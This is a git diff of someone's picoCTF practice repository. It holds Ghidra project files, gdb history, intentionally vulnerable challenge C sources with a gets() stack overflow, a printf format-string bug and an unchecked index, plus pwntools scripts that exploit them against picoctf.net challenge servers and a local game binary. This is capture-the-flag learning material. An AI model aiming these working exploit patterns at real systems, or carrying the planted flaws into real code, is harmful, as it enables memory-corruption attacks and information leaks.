flag_printer_temp

.envrc

@@ -1,12 +0,0 @@
-export MAMBA_EXE='/home/maxime/.local/bin/micromamba';
-export MAMBA_ROOT_PREFIX='/home/maxime/.micromamba';
-__mamba_setup="$("$MAMBA_EXE" shell hook --shell zsh --root-prefix "$MAMBA_ROOT_PREFIX" 2> /dev/null)"
-if [ $? -eq 0 ]; then
-    eval "$__mamba_setup"
-else
-    alias micromamba="$MAMBA_EXE"  # Fallback on help from micromamba activate
-fi
-unset __mamba_setup
-
-micromamba activate picoCTF
-

README.md

@@ -1,7 +0,0 @@
-# picoCTF
-
-## programs used
-- TrID
-- exiftool
-- aircrack-ng
-- kaitai

babygame03/.gdb_history

@@ -0,0 +1,256 @@
+c
+c
+x/40x 0xffffbd00
+c
+c
+run
+c
+run
+c
+x/40x 0xffffbd00
+c
+run
+exit
+b *move_player
+run < out
+c
+c
+x/40x 0xffffbd00
+c
+x/40x 0xffffbd00
+disassemble main
+b *main+39
+run < out
+stack 
+stack 20
+clear *main+3
+clear *main+39
+b *main+93
+run < out
+stack 20
+stack 20
+stack 40
+stack 60
+stack 80
+stack 100
+stack 200
+stack 100
+stack 110
+stack 400
+stack 1000
+stack 600
+stack 700
+stack 680
+stack 690
+stack 685
+stack 686
+stack 687
+stack 688
+stack 689
+stack 688
+x/x 0xffffdb0c
+x/x 0xffffbd0c
+continue
+c
+run < out
+x/x 0xffffbd0c
+c
+continue
+run < out
+c
+x/x 0xffffbd0c
+c
+x/x 0xffffbd0c
+disassemble main
+b *main+372
+x/x 0xffffbd0c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+c
+b
+clear 5
+exit
+disassemble main
+x/x 0xffffbd0c
+b *move_player
+run < out
+x/x 0xffffbd0c
+x/40x 0xffffbd00
+x/40x 0xffffcd00
+x/40x 0xffffbd00
+x/40x 0xffffbf00
+x/40x 0xffffbd00
+x/40x 0xffffbd00
+x/40x 0xffffbd00
+x/40x 0xffffc000
+x/40x 0xffffc400
+x/40x 0xffffc600
+x/40x 0xffffc800
+x/40x 0xffffc700
+x/40x 0xffffc780
+x/40x 0xffffbd00
+x/40x 0xffffc780
+x/x 0xffffc7ac
+x/x 0xffffbd0c
+x/40x 0xffffbd00
+exit
+b *move_player
+x/x 0xffffbd0c
+x/x 0xffffc7ac
+run < out2
+x/x 0xffffc7ac
+x/x 0xffffbd0c
+c
+c
+x/x 0xffffc7ac
+c
+x/x 0xffffc7ac
+run < out2
+x/x 0xffffc7ac
+x/x 0xffffbd0c
+c
+x/x 0xffffc7ac
+c
+x/x 0xffffc7ac
+x/40x 0xffffbd00
+exit
+disassemble main
+disassemble move_player
+b *move_player+8
+run 
+stack 20
+stack 30
+x/40x 0xffa890
+x/40x 0xffffa890
+exit
+b *move_player+8
+run
+stack 20
+c
+c
+stack 20
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+x/40x 0xffffa890
+c
+exit
+exit
+disassemble main 
+q
+disassemble main 
+disassemble move_
+disassemble move_player
+b *move_player+357
+run < out
+c
+run < out
+c
+exit
+b *move_player+357
+run < out3
+c
+stack 20
+x/40x 0xffffbce0
+x/40x 0xffffbcf0
+x/40x 0xffffbe00
+x/40x 0xffffbd0
+x/40x 0xffffbd00
+x/40x 0xffffbd2f
+x/40x 0xffffbd00
+x/40x 0xffffbc00
+x/40x 0xffffbcd0
+stack 30
+stack 800
+stack 700
+stack 720
+stack 700
+stack 710
+stack 720
+disassemble main
+stack 40
+stack -1 40
+stack 40 -1
+stack 40 -10
+stack 40
+stack 40
+x/40x 0xffffbcd0
+x/40x 0xffffbce0
+c
+c
+c
+c
+c
+run < out3
+c
+run 
+c
+c
+c
+c
+c
+c
+c
+exit
+disassemble move_player
+b *move_player+357
+run < out2
+c
+stack 40
+x/40x 0xffffbce0
+c
+x/40x 0xffffbce0
+run < out2
+c
+x/40x 0xffffbce0
+c
+x/40x 0xffffbce0
+c
+x/40x 0xffffbce0
+c
+x/40x 0xffffbce0
+run < out2
+c
+x/40x 0xffffbce0
+c
+c
+exit
+disassemble main
+b *main+378
+run < args
+run < args
+run < args
+tic
+exit

babygame03/args

@@ -0,0 +1,2 @@
+aaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpwsaaaaaaaawwwwswws
+

babygame03/babygame03.lock

@@ -0,0 +1,9 @@
+#Ghidra Lock File
+#Mon Nov 18 09:14:36 CET 2024
+<META>\ Supports\ File\ Channel\ Locking=Channel Lock
+Hostname=theon-1
+OS\ Architecture=amd64
+OS\ Name=Linux
+OS\ Version=6.11.6-arch1-1
+Timestamp=11/18/24, 9\:14\u202FAM
+Username=maxime

babygame03/babygame03.rep/idata/00/00000001.prp

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
+        <STATE NAME="PARENT" TYPE="string" VALUE="/" />
+        <STATE NAME="FILE_ID" TYPE="string" VALUE="ac10290b32f38007603038077" />
+        <STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
+        <STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
+        <STATE NAME="NAME" TYPE="string" VALUE="game" />
+    </BASIC_INFO>
+</FILE_INFO>

babygame03/babygame03.rep/idata/~index.bak

@@ -0,0 +1,7 @@
+VERSION=1
+/
+  00000001:game:ac10290b32f38007603038077
+/New Traces
+  00000002:Emulate game:ac10290839926930849280384
+NEXT-ID:3
+MD5:d41d8cd98f00b204e9800998ecf8427e

babygame03/babygame03.rep/idata/~index.dat

@@ -0,0 +1,5 @@
+VERSION=1
+/
+  00000001:game:ac10290b32f38007603038077
+NEXT-ID:3
+MD5:d41d8cd98f00b204e9800998ecf8427e

babygame03/babygame03.rep/idata/~journal.bak

@@ -0,0 +1,2 @@
+IDEL:/New Traces/Emulate game
+FDEL:/New Traces

babygame03/babygame03.rep/project.prp

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="OWNER" TYPE="string" VALUE="maxime" />
+    </BASIC_INFO>
+</FILE_INFO>

babygame03/babygame03.rep/projectState

@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<PROJECT>
+    <PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
+        <SAVE_STATE>
+            <ARRAY NAME="EXPANDED_PATHS" TYPE="string">
+                <A VALUE="babygame03:" />
+            </ARRAY>
+            <STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
+        </SAVE_STATE>
+    </PROJECT_DATA_XML_NAME>
+    <TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
+        <WORKSPACE NAME="Workspace" ACTIVE="true" />
+    </TOOL_MANAGER>
+</PROJECT>
+

babygame03/babygame03.rep/user/00/00000001.prp

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<FILE_INFO>
+    <BASIC_INFO>
+        <STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
+        <STATE NAME="PARENT" TYPE="string" VALUE="/" />
+        <STATE NAME="FILE_ID" TYPE="string" VALUE="ac10290b31146457713312322" />
+        <STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
+        <STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
+        <STATE NAME="NAME" TYPE="string" VALUE="udf_ac10290b32f38007603038077" />
+    </BASIC_INFO>
+</FILE_INFO>

babygame03/babygame03.rep/user/~index.bak

@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:1
+MD5:d41d8cd98f00b204e9800998ecf8427e

babygame03/babygame03.rep/user/~index.dat

@@ -0,0 +1,5 @@
+VERSION=1
+/
+  00000001:udf_ac10290b32f38007603038077:ac10290b31146457713312322
+NEXT-ID:2
+MD5:d41d8cd98f00b204e9800998ecf8427e

babygame03/babygame03.rep/user/~journal.bak

@@ -0,0 +1,2 @@
+IADD:00000001:/udf_ac10290b32f38007603038077
+IDSET:/udf_ac10290b32f38007603038077:ac10290b31146457713312322

babygame03/babygame03.rep/versioned/~index.bak

@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e

babygame03/babygame03.rep/versioned/~index.dat

@@ -0,0 +1,4 @@
+VERSION=1
+/
+NEXT-ID:0
+MD5:d41d8cd98f00b204e9800998ecf8427e

babygame03/flag.txt

@@ -0,0 +1 @@
+flag{test}

babygame03/mkstr.py

@@ -0,0 +1,10 @@
+#!/usr/bin/env python3
+from pwn import *
+
+a = 'aaaa'+'a'*4+'wwwws'
+b = 'a'*47+'lp'+'ws'
+
+s = a+'p' +a+'p' +a+'p' +a +b +a +'wws\n'
+
+print(s)
+

babygame03/out

@@ -0,0 +1 @@
+aaaaaaaawwwws

babygame03/out2

@@ -0,0 +1 @@
+aaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpws

babygame03/out3

@@ -0,0 +1 @@
+aaaaaaaawwwws

babygame03/sol.py

@@ -0,0 +1,16 @@
+#!/usr/bin/env python3
+from pwn import *
+
+s = b'aaaa'+b'a'*4+b'wwwws'
+
+conn = process(["./game"])
+for i in range(3):
+    conn.sendline(s)
+    conn.sendline(b'p')
+conn.sendline(s)
+conn.sendline(b'a'*47+b'l\x70'+b'ws')
+conn.sendline(s)
+conn.sendline(b'wws')
+conn.sendline(b'a'*47+b'l\xfe'+b'w')
+conn.interactive()
+

basic_file_exploit/program-redacted.c

@@ -1,195 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdbool.h>
-#include <string.h>
-#include <stdint.h>
-#include <ctype.h>
-#include <unistd.h>
-#include <sys/time.h>
-#include <sys/types.h>
-
-
-#define WAIT 60
-
-
-static const char* flag = "[REDACTED]";
-
-static char data[10][100];
-static int input_lengths[10];
-static int inputs = 0;
-
-
-
-int tgetinput(char *input, unsigned int l)
-{
-    fd_set          input_set;
-    struct timeval  timeout;
-    int             ready_for_reading = 0;
-    int             read_bytes = 0;
-    
-    if( l <= 0 )
-    {
-      printf("'l' for tgetinput must be greater than 0\n");
-      return -2;
-    }
-    
-    
-    /* Empty the FD Set */
-    FD_ZERO(&input_set );
-    /* Listen to the input descriptor */
-    FD_SET(STDIN_FILENO, &input_set);
-
-    /* Waiting for some seconds */
-    timeout.tv_sec = WAIT;    // WAIT seconds
-    timeout.tv_usec = 0;    // 0 milliseconds
-
-    /* Listening for input stream for any activity */
-    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
-    /* Here, first parameter is number of FDs in the set, 
-     * second is our FD set for reading,
-     * third is the FD set in which any write activity needs to updated,
-     * which is not required in this case. 
-     * Fourth is timeout
-     */
-
-    if (ready_for_reading == -1) {
-        /* Some error has occured in input */
-        printf("Unable to read your input\n");
-        return -1;
-    } 
-
-    if (ready_for_reading) {
-        read_bytes = read(0, input, l-1);
-        if(input[read_bytes-1]=='\n'){
-        --read_bytes;
-        input[read_bytes]='\0';
-        }
-        if(read_bytes==0){
-            printf("No data given.\n");
-            return -4;
-        } else {
-            return 0;
-        }
-    } else {
-        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
-        return -3;
-    }
-
-    return 0;
-}
-
-
-static void data_write() {
-  char input[100];
-  char len[4];
-  long length;
-  int r;
-  
-  printf("Please enter your data:\n");
-  r = tgetinput(input, 100);
-  // Timeout on user input
-  if(r == -3)
-  {
-    printf("Goodbye!\n");
-    exit(0);
-  }
-  
-  while (true) {
-    printf("Please enter the length of your data:\n");
-    r = tgetinput(len, 4);
-    // Timeout on user input
-    if(r == -3)
-    {
-      printf("Goodbye!\n");
-      exit(0);
-    }
-  
-    if ((length = strtol(len, NULL, 10)) == 0) {
-      puts("Please put in a valid length");
-    } else {
-      break;
-    }
-  }
-
-  if (inputs > 10) {
-    inputs = 0;
-  }
-
-  strcpy(data[inputs], input);
-  input_lengths[inputs] = length;
-
-  printf("Your entry number is: %d\n", inputs + 1);
-  inputs++;
-}
-
-
-static void data_read() {
-  char entry[4];
-  long entry_number;
-  char output[100];
-  int r;
-
-  memset(output, '\0', 100);
-  
-  printf("Please enter the entry number of your data:\n");
-  r = tgetinput(entry, 4);
-  // Timeout on user input
-  if(r == -3)
-  {
-    printf("Goodbye!\n");
-    exit(0);
-  }
-  
-  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
-    puts(flag);
-    fseek(stdin, 0, SEEK_END);
-    exit(0);
-  }
-
-  entry_number--;
-  strncpy(output, data[entry_number], input_lengths[entry_number]);
-  puts(output);
-}
-
-
-int main(int argc, char** argv) {
-  char input[3] = {'\0'};
-  long command;
-  int r;
-
-  puts("Hi, welcome to my echo chamber!");
-  puts("Type '1' to enter a phrase into our database");
-  puts("Type '2' to echo a phrase in our database");
-  puts("Type '3' to exit the program");
-
-  while (true) {   
-    r = tgetinput(input, 3);
-    // Timeout on user input
-    if(r == -3)
-    {
-      printf("Goodbye!\n");
-      exit(0);
-    }
-    
-    if ((command = strtol(input, NULL, 10)) == 0) {
-      puts("Please put in a valid number");
-    } else if (command == 1) {
-      data_write();
-      puts("Write successful, would you like to do anything else?");
-    } else if (command == 2) {
-      if (inputs == 0) {
-        puts("No data yet");
-        continue;
-      }
-      data_read();
-      puts("Read successful, would you like to do anything else?");
-    } else if (command == 3) {
-      return 0;
-    } else {
-      puts("Please type either 1, 2 or 3");
-      puts("Maybe breaking boundaries elsewhere will be helpful");
-    }
-  }
-
-  return 0;
-}

clutter_overflow/chall.c

@@ -1,54 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-#define SIZE 0x100
-#define GOAL 0xdeadbeef
-
-const char* HEADER = 
-" ______________________________________________________________________\n"
-"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
-"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
-"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
-"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ /                  \\^ ^ |\n"
-"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ /   \\ ^ _ ^ / |                | \\^ ^|\n"
-"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | //  | /_\\ ^| |   ____  ____   | | ^ |\n"
-"|^ =|= ^ =================^ ^=|=^|     |^=|=^ | |  {____}{____}  | |^ ^|\n"
-"| ^ ^ ^ ^ |  =========  |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
-"|^ ^ ^ ^ ^| /     (   \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/  %%%%%%%%%%%%%%  \\|^ ^|\n"
-".-----. ^ ||     )     ||^ ^.-------.-------.^|  %%%%%%%%%%%%%%%%  | ^ |\n"
-"|     |^ ^|| o  ) (  o || ^ |       |       | | /||||||||||||||||\\ |^ ^|\n"
-"| ___ | ^ || |  ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
-"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|==                    =====\n"
-"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
-"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"  \n"
-"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
-"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
-"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
-
-int main(void)
-{
-  long code = 0;
-  char clutter[SIZE];
-
-  setbuf(stdout, NULL);
-  setbuf(stdin, NULL);
-  setbuf(stderr, NULL);
- 	
-  puts(HEADER); 
-  puts("My room is so cluttered...");
-  puts("What do you see?");
-
-  gets(clutter);
-
-
-  if (code == GOAL) {
-    printf("code == 0x%llx: how did that happen??\n", GOAL);
-    puts("take a flag for your troubles");
-    system("cat flag.txt");
-  } else {
-    printf("code == 0x%llx\n", code);
-    printf("code != 0x%llx :(\n", GOAL);
-  }
-
-  return 0;
-}

clutter_overflow/sol.py

@@ -1,55 +0,0 @@
-#!/usr/bin/env python
-from pwn import *
-
-def get_conn():
-    #return process("./chall")
-    return remote("mars.picoctf.net", 31890)
-
-def try_memory_offset(offset):
-    cycle = cyclic(length=offset, n=8)
-
-    conn = get_conn()
-    
-    conn.recvuntil(b"see?")
-    conn.recvline()
-    
-    conn.sendline(cycle)
-    conn.recvuntil(b"== ")
-    result = conn.recvline(keepends=False)
-
-    conn.close()
-    
-    return result
-
-base = 0x100
-exp = 0
-p = log.progress("searching for variable offset")
-while True:
-    offset = base + 2**exp
-    p.status(f"trying offset {offset}")
-    try:
-        result = try_memory_offset(offset)
-    except:
-        base = base + 2**(exp-1)
-        exp = 0
-        continue
-    if result != b"0x0":
-        next_result = 0
-        i = 0
-        while result != next_result:
-            i += 1
-            result = next_result
-            next_result = try_memory_offset(offset+i)
-        offset = cyclic_find(int(result, 16), n=8)
-        p.success(f"found result {unhex(result[2:])} at offset {offset}")
-        break
-    exp += 1
-
-conn = get_conn()
-
-conn.recvuntil(b"see?")
-conn.recvline()
-
-conn.sendline(b"a"*offset + p64(0xdeadbeef))
-conn.interactive()
-

flag_leak/.gdb_history

@@ -1,2 +0,0 @@
-disassemble main
-exit

flag_leak/sol.py

@@ -1,29 +0,0 @@
-#!/usr/bin/env python
-from pwn import *
-
-buffer_size = 127
-hex_to_read = 127//2
-hex_reader = b'%x'*hex_to_read
-payload = hex_reader + b'.'
-log.info(f"payload: {payload}")
-
-def endian_swap(s, offset=0):
-    result = b''
-    for i in range(3+offset, len(s), 4):
-        result += bytes(reversed(s[i-3:i+1]))
-    return result
-
-conn = remote("saturn.picoctf.net", 65206)
-
-conn.recvuntil(b" >> ")
-conn.sendline(payload)
-conn.recvline()
-data = conn.recvline(keepends=False)[:-1]
-log.info(f"received data: {data}")
-unhexed_data = unhex(data)
-for i in range(4):
-    endian_swapped_data = endian_swap(unhexed_data, offset=i)
-    if b"picoCTF" in endian_swapped_data:
-        break
-log.info(f"processed data: {endian_swapped_data}")
-

flag_leak/vuln.c

@@ -1,46 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <wchar.h>
-#include <locale.h>
-
-#define BUFSIZE 64
-#define FLAGSIZE 64
-
-void readflag(char* buf, size_t len) {
-  FILE *f = fopen("flag.txt","r");
-  if (f == NULL) {
-    printf("%s %s", "Please create 'flag.txt' in this directory with your",
-                    "own debugging flag.\n");
-    exit(0);
-  }
-
-  fgets(buf,len,f); // size bound read
-}
-
-void vuln(){
-   char flag[BUFSIZE];
-   char story[128];
-
-   readflag(flag, FLAGSIZE);
-
-   printf("Tell me a story and then I'll tell you one >> ");
-   scanf("%127s", story);
-   printf("Here's a story - \n");
-   printf(story);
-   printf("\n");
-}
-
-int main(int argc, char **argv){
-
-  setvbuf(stdout, NULL, _IONBF, 0);
-  
-  // Set the gid to the effective gid
-  // this prevents /bin/sh from dropping the privileges
-  gid_t gid = getegid();
-  setresgid(gid, gid, gid);
-  vuln();
-  return 0;
-}

flag_printer/flag_printer.py

@@ -0,0 +1,28 @@
+#!/usr/bin/env python3
+import galois
+import numpy as np
+MOD = 7514777789
+
+points = []
+
+for line in open('encoded.txt', 'r').read().strip().split('\n'):
+    x, y = line.split(' ')
+    points.append((int(x), int(y)))
+
+GF = galois.GF(MOD)
+print(GF.properties)
+
+matrix = []
+solution = []
+for point in points:
+    x, y = point
+    solution.append(GF(y % MOD))
+
+    row = []
+    for i in range(3):
+        row.append(GF((x ** i) % MOD))
+    
+    matrix.append(GF(row))
+
+print('solving')
+open('output.bmp', 'wb').write(bytearray(np.linalg.lstsq(GF(matrix), GF(solution)).tolist()[:-1]))

flag_printer/sol.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python3
+from sage.all import *
+MOD = 7514777789
+
+ring=GF(MOD)
+
+points = []
+for line in open('encoded.txt', 'r').read().strip().split('\n'):
+    x, y = line.split(' ')
+    points.append((int(x), int(y)))
+
+print("building matrices")
+
+solution = []
+M = []
+for point in points:
+    x, y = point
+    solution.append(ring(y % MOD))
+
+    row = []
+    for i in range(3):
+        row.append(pow(x, i, MOD))
+    M.append(row)
+
+print("converting matrices")
+
+solution = vector(solution)
+M = Matrix(M, base_ring=GF(MOD))
+
+print('solving')
+open('output.bmp', 'wb').write(bytearray(M.solve_right(solution).tolist()[:-1]))

mob_psycho/flag.txt

@@ -0,0 +1 @@
+7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f35653637656135657d

mob_psycho/mobpsycho/META-INF/androidx.activity_activity.version

@@ -0,0 +1 @@
+1.6.0

mob_psycho/mobpsycho/META-INF/androidx.annotation_annotation-experimental.version

@@ -0,0 +1 @@
+1.3.0

mob_psycho/mobpsycho/META-INF/androidx.appcompat_appcompat-resources.version

@@ -0,0 +1 @@
+1.6.1

mob_psycho/mobpsycho/META-INF/androidx.appcompat_appcompat.version

@@ -0,0 +1 @@
+1.6.1

mob_psycho/mobpsycho/META-INF/androidx.arch.core_core-runtime.version

@@ -0,0 +1 @@
+2.1.0

mob_psycho/mobpsycho/META-INF/androidx.cardview_cardview.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.coordinatorlayout_coordinatorlayout.version

@@ -0,0 +1 @@
+1.1.0

mob_psycho/mobpsycho/META-INF/androidx.core_core-ktx.version

@@ -0,0 +1 @@
+1.9.0

mob_psycho/mobpsycho/META-INF/androidx.core_core.version

@@ -0,0 +1 @@
+1.9.0

mob_psycho/mobpsycho/META-INF/androidx.cursoradapter_cursoradapter.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.customview_customview.version

@@ -0,0 +1 @@
+1.1.0

mob_psycho/mobpsycho/META-INF/androidx.documentfile_documentfile.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.drawerlayout_drawerlayout.version

@@ -0,0 +1 @@
+1.1.1

mob_psycho/mobpsycho/META-INF/androidx.dynamicanimation_dynamicanimation.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.emoji2_emoji2-views-helper.version

@@ -0,0 +1 @@
+1.2.0

mob_psycho/mobpsycho/META-INF/androidx.emoji2_emoji2.version

@@ -0,0 +1 @@
+1.2.0

mob_psycho/mobpsycho/META-INF/androidx.fragment_fragment.version

@@ -0,0 +1 @@
+1.3.6

mob_psycho/mobpsycho/META-INF/androidx.interpolator_interpolator.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.legacy_legacy-support-core-utils.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.lifecycle_lifecycle-livedata-core.version

@@ -0,0 +1 @@
+2.5.1

mob_psycho/mobpsycho/META-INF/androidx.lifecycle_lifecycle-livedata.version

@@ -0,0 +1 @@
+2.0.0

mob_psycho/mobpsycho/META-INF/androidx.lifecycle_lifecycle-process.version

@@ -0,0 +1 @@
+2.4.1

mob_psycho/mobpsycho/META-INF/androidx.lifecycle_lifecycle-runtime.version

@@ -0,0 +1 @@
+2.5.1

mob_psycho/mobpsycho/META-INF/androidx.lifecycle_lifecycle-viewmodel-savedstate.version

@@ -0,0 +1 @@
+2.5.1

mob_psycho/mobpsycho/META-INF/androidx.lifecycle_lifecycle-viewmodel.version

@@ -0,0 +1 @@
+2.5.1

mob_psycho/mobpsycho/META-INF/androidx.loader_loader.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.localbroadcastmanager_localbroadcastmanager.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.print_print.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.recyclerview_recyclerview.version

@@ -0,0 +1 @@
+1.1.0

mob_psycho/mobpsycho/META-INF/androidx.savedstate_savedstate.version

@@ -0,0 +1 @@
+1.2.0

mob_psycho/mobpsycho/META-INF/androidx.startup_startup-runtime.version

@@ -0,0 +1 @@
+1.1.1

mob_psycho/mobpsycho/META-INF/androidx.tracing_tracing.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.transition_transition.version

@@ -0,0 +1 @@
+1.2.0

mob_psycho/mobpsycho/META-INF/androidx.vectordrawable_vectordrawable-animated.version

@@ -0,0 +1 @@
+1.1.0

mob_psycho/mobpsycho/META-INF/androidx.vectordrawable_vectordrawable.version

@@ -0,0 +1 @@
+1.1.0

mob_psycho/mobpsycho/META-INF/androidx.versionedparcelable_versionedparcelable.version

@@ -0,0 +1 @@
+1.1.1

mob_psycho/mobpsycho/META-INF/androidx.viewpager2_viewpager2.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/androidx.viewpager_viewpager.version

@@ -0,0 +1 @@
+1.0.0

mob_psycho/mobpsycho/META-INF/com.google.android.material_material.version

@@ -0,0 +1 @@
+1.5.0

mob_psycho/mobpsycho/META-INF/com/android/build/gradle/app-metadata.properties

@@ -0,0 +1,2 @@
+appMetadataVersion=1.1
+androidGradlePluginVersion=8.0.2

mob_psycho/mobpsycho/META-INF/kotlinx_coroutines_android.version

@@ -0,0 +1 @@
+1.6.1

mob_psycho/mobpsycho/META-INF/kotlinx_coroutines_core.version

@@ -0,0 +1 @@
+1.6.1

mob_psycho/mobpsycho/META-INF/services/kotlinx.coroutines.CoroutineExceptionHandler

@@ -0,0 +1 @@
+kotlinx.coroutines.android.AndroidExceptionPreHandler

mob_psycho/mobpsycho/META-INF/services/kotlinx.coroutines.internal.MainDispatcherFactory

@@ -0,0 +1 @@
+kotlinx.coroutines.android.AndroidDispatcherFactory